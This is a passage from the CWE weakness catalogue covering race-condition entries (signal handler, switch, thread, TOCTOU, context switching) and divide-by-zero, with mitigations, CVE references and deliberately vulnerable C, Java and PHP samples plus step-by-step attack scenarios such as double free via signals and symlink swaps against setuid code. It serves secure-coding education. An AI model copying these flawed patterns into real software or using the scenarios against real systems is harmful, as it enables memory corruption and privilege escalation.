MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Notes

Relationship

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Race condition enabling link following
CERT C Secure Coding	POS35-C	Exact	Avoid race conditions while checking for the existence of a symbolic link
Software Fault Patterns	SFP20		Race Condition Window

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-364: Signal Handler Race Condition

Weakness ID : 364 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a signal handler that introduces a race condition.

Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
- Shared state between a signal handler and other signal handlers
- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state
- Using synchronization in the signal handler
- Using synchronization in the regular code
- Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
ParentOf	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	932
ParentOf	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	1528
ParentOf	B	831	Signal Handler Function Associated with Multiple Signals	1539
PeerOf	B	365	Race Condition in Switch	807
CanPrecede	B	123	Write-what-where Condition	296
CanPrecede	V	415	Double Free	901
CanPrecede	V	416	Use After Free	904

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	387	Signal Errors	1861
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Modify Application Data Modify Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands *It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.*	
Access Control	Gain Privileges or Assume Identity *If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.*	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

Phase: Implementation

Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C *(bad)*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C *(bad)*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE,"%s\n",what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc,char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

Observed Examples

Reference	Description
CVE-1999-0035	Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0035*
CVE-2001-0905	Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0905*
CVE-2001-1349	unsafe calls to library functions from signal handler *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1349*
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0794*

Reference	Description
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*

Functional Areas

- Signals
- Interprocess Communication

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Notes

Research Gap

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Signal handler race condition
7 Pernicious Kingdoms			Signal Handling Race Conditions
CLASP			Race condition in signal handler
Software Fault Patterns	SFP19		Missing Lock

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < http://lcamtuf.coredump.cx/signals.txt >.

[REF-361]"Race Condition: Signal Handling". < http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-365: Race Condition in Switch

Weakness ID : 365 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

Extended Description

This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
PeerOf	B	364	Signal Handler Race Condition	802
PeerOf	B	366	Race Condition within a Thread	809

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *This weakness may lead to unexpected system state, resulting in unpredictable behavior.*	

Potential Mitigations

Phase: Implementation

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

Demonstrative Examples

Example 1:

This example has a switch statement that executes different code depending on the current time.

Example Language: C *(bad)*

```
#include <sys/types.h>
```

```
#include <sys/stat.h>
int main(argc,argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh",sb);
    printf("%d\n",sb->st_ctime);
    switch(sb->st_ctime % 2){
        case 0: printf("One option\n");
        break;
        case 1: printf("another option\n");
        break;
        default: printf("huh\n");
        break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as st_ctime % 2 should always be 0 or 1. However, if st_ctime % 2 is 1 when the first case is evaluated, the time may change and st_ctime % 2 may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition in switch
Software Fault Patterns	SFP19		Missing Lock

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-366: Race Condition within a Thread

Weakness ID : 366 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
PeerOf	B	365	Race Condition in Switch	807

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Other	Unexpected State *The main problem is that -- if a lock is overcome -- data could be altered in a bad state.*	

Potential Mitigations

Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Phase: Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

Example Language: Java *(bad)*

```
public classRace {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
```

```
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1920
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2001

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition within a thread
CERT C Secure Coding	CON32-C	CWE More Abstract	Prevent data races when accessing bit-fields from multiple threads
CERT C Secure Coding	CON40-C	CWE More Abstract	Do not refer to an atomic variable twice in an expression
CERT C Secure Coding	CON43-C	Exact	Do not allow data races in multithreaded code
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID : 367 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
ParentOf	B	363	Race Condition Enabling Link Following	801
ParentOf	B	365	Race Condition in Switch	807
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	844
CanFollow	B	609	Double-Checked Locking	1211

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

TOCTTOU : The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

TOCCTOU : The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Alter Execution Logic Unexpected State *The attacker can gain access to otherwise unauthorized resources.*	
Integrity Other	Modify Application Data Modify Files or Directories Modify Memory Other *Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.*	
Integrity Other	Other *The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.*	
Non-Repudiation	Hide Activities *If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.*	
Non-Repudiation Other	Other *In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.*	

Potential Mitigations

Phase: Implementation

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Phase: Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Phase: Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Phase: Implementation

Phase: Architecture and Design

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Phase: Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Phase: Architecture and Design

Ensure that some environmental locking mechanism can be used to protect resources effectively.

Phase: Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Demonstrative Examples

Example 1:

The following code checks a file, then updates its contents.

Example Language: C *(bad)*

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
    updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

Example Language: C *(bad)*

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Example 3:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
```

```
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Observed Examples

Reference	Description
CVE-2003-0813	A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0813*
CVE-2004-0594	PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0594*
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2958*
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1570*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	1860
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1952

Notes

Relationship

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gap

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Time-of-check Time-of-use race condition
7 Pernicious Kingdoms			File Access Race Conditions: TOCTOU
CLASP			Time of check, time of use race condition
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
Software Fault Patterns	SFP20		Race Condition Window

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-367]Dan Tsafrir, Tomer Hertz, David Wagner and Dilma Da Silva. "Portably Solving File TOCTTOU Races with Hardness Amplification". 2008 February 8. < http://www.usenix.org/events/fast08/tech/tsafrir.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-368: Context Switching Race Condition

Weakness ID : 368 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Nature	Type	ID	Name	Page
CanAlsoBe	B	364	Signal Handler Race Condition	802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Weakness Ordinalities

Primary : This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant : This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1837*
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts ** *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2260*
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0191*
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2491*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Notes

Relationship

Can overlap signal handler race conditions.

Research Gap

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Context Switching Race Condition

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-369: Divide By Zero

Weakness ID : 369 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	A Divide by Zero results in a crash.	

Demonstrative Examples

Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

Example Language: Java *(bad)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

Example Language: *(good)*

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}
```

Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

Example Language: C *(bad)*

```
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

Example Language: *(good)*

```
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y ){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i ){
```

```
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

Example 3:

